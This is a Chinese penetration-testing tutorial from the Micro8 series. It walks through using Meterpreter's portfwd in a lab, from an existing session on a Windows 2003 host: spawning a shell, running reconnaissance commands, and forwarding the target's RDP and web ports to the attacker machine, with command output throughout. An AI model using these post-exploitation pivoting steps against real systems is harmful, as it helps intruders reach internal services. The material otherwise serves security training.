> For the complete documentation index, see [llms.txt](https://micro8.gitbook.io/micro8/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://micro8.gitbook.io/micro8/contents-1/91-100/95-ji-yu-portfwd-duan-kou-zhuan-fa.md). # 第九十五课：基于Portfwd端口转发 **注：**请多喝点热水或者凉白开，可预防**肾结石，通风**等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 portfwd是一款强大的端口转发工具，支持TCP，UDP，支持IPV4--IPV6的转换转发。并且内置于meterpreter。其中exe单版本源码如下： **攻击机：**\ 192.168.1.5 Debian **靶机：**\ 192.168.1.4 Windows 7\ 192.168.1.119 Windows 2003 ```bash msf exploit(multi/handler) \> sessions ‐l Active sessions =============== Id Name Type Information Connection ‐‐ ‐‐‐‐ ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐ 1 meterpreter x86/windows WIN03X64\Administrator @ WIN03X64 192.168.1.5:45303 ‐> 192.168.1.119:53 (192.168.1.119) msf exploit(multi/handler) > sessions ‐i 1 ‐c 'ipconfig' [*] Running 'ipconfig' on meterpreter session 1 (192.168.1.119) Windows IP Configuration Ethernet adapter 本地连接: Connection‐specific DNS Suffix . : IP Address. . . . . . . . . . . . : 192.168.1.119 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.1.1 22 ``` ![](/files/-LZPcY1KCAljqO1I6Xsd) 靶机IP为：\ 192.168.1.119---windows 2003---x64 需要转发端口为：80，3389 ```bash msf exploit(multi/handler) > sessions ‐i 1 [*] Starting interaction with 1... meterpreter > shell Process 4012 created. Channel 56 created. Microsoft Windows [版本 5.2.3790] (C) 版权所有 1985‐2003 Microsoft Corp. C:\Documents and Settings\Administrator\桌面>if defined PSModulePath (echo ok!) else (echo sorry!) if defined PSModulePath (echo ok!) else (echo sorry!) sorry! C:\Documents and Settings\Administrator\桌面>net config Workstation net config Workstation 计算机名 \\WIN03X64 计算机全名 win03x64 用户名 Administrator 工作站正运行于 NetbiosSmb (000000000000) NetBT_Tcpip_{37C12280‐A19D‐4D1A‐9365‐6CBF2CAE5B07} (000C2985D67D) 软件版本 Microsoft Windows Server 2003 工作站域 WORKGROUP 登录域 WIN03X64 COM 打开超时 (秒) 0 COM 发送计数 (字节) 16 COM 发送超时 (毫秒) 250 命令成功完成。 C:\Documents and Settings\Administrator\桌面>netstat ‐an|findstr "LIST ENING" netstat ‐an|findstr "LISTENING" TCP 0.0.0.0:80 0.0.0.0:0 LISTENING TCP 0.0.0.0:135 0.0.0.0:0 LISTENING TCP 0.0.0.0:445 0.0.0.0:0 LISTENING TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING TCP 0.0.0.0:1026 0.0.0.0:0 LISTENING TCP 0.0.0.0:3078 0.0.0.0:0 LISTENING TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING TCP 0.0.0.0:9001 0.0.0.0:0 LISTENING TCP 127.0.0.1:2995 0.0.0.0:0 LISTENING TCP 127.0.0.1:9000 0.0.0.0:0 LISTENING TCP 127.0.0.1:9999 0.0.0.0:0 LISTENING TCP 192.168.1.119:139 0.0.0.0:0 LISTENING ``` ![](/files/-LZPcY1N__8I_u7SW-Vj) ```bash meterpreter > portfwd ‐h Usage: portfwd [‐h] [add | delete | list | flush] [args] OPTIONS: ‐L Forward: local host to listen on (optional). Reverse: local host to connect to. ‐R Indicates a reverse port forward. ‐h Help banner. ‐i Index of the port forward entry to interact with (see the "list" command). ‐l Forward: local port to listen on. Reverse: local port to connect to. ‐p Forward: remote port to connect to. Reverse: remote port to listen on. ‐r Forward: remote host to connect to. ``` ![](/files/-LZPcY1T6jlmnGj83xpb) **攻击机执行：** ```bash meterpreter > portfwd add ‐l 33389 ‐r 192.168.1.119 ‐p 3389 [*] Local TCP relay created: :33389 <‐> 192.168.1.119:3389 meterpreter > portfwd add ‐l 30080 ‐r 192.168.1.119 ‐p 80 [*] Local TCP relay created: :30080 <‐> 192.168.1.119:80 meterpreter > portfwd Active Port Forwards ==================== Index Local Remote Direction ‐‐‐‐‐ ‐‐‐‐‐ ‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐ 1 0.0.0.0:33389 192.168.1.119:3389 Forward 2 0.0.0.0:30080 192.168.1.119:80 Forward 2 total active port forwards. ``` ![](/files/-LZPcY1X6XoRKFm2eUXP) ![](/files/-LZPcY1_4OcsGtoZKeQi) 查看攻击机LISTEN端口：转发已成功 ```bash root@John:~# netstat ‐ntlp |grep :3 tcp 0 0 0.0.0.0:33389 0.0.0.0:* LISTEN 2319/ruby tcp 0 0 0.0.0.0:30080 0.0.0.0:* LISTEN 2319/ruby 4 ``` ![](/files/-LZPcY1bmGRZjuSDV31N) Windows 7 分别访问攻击机33389，30080，既等价访问靶机3389，80 ![](/files/-LZPcY1eQ2TnSCo8Nopt) ![](/files/-LZPcY1gmJIoRcoZefjy) > Micropoor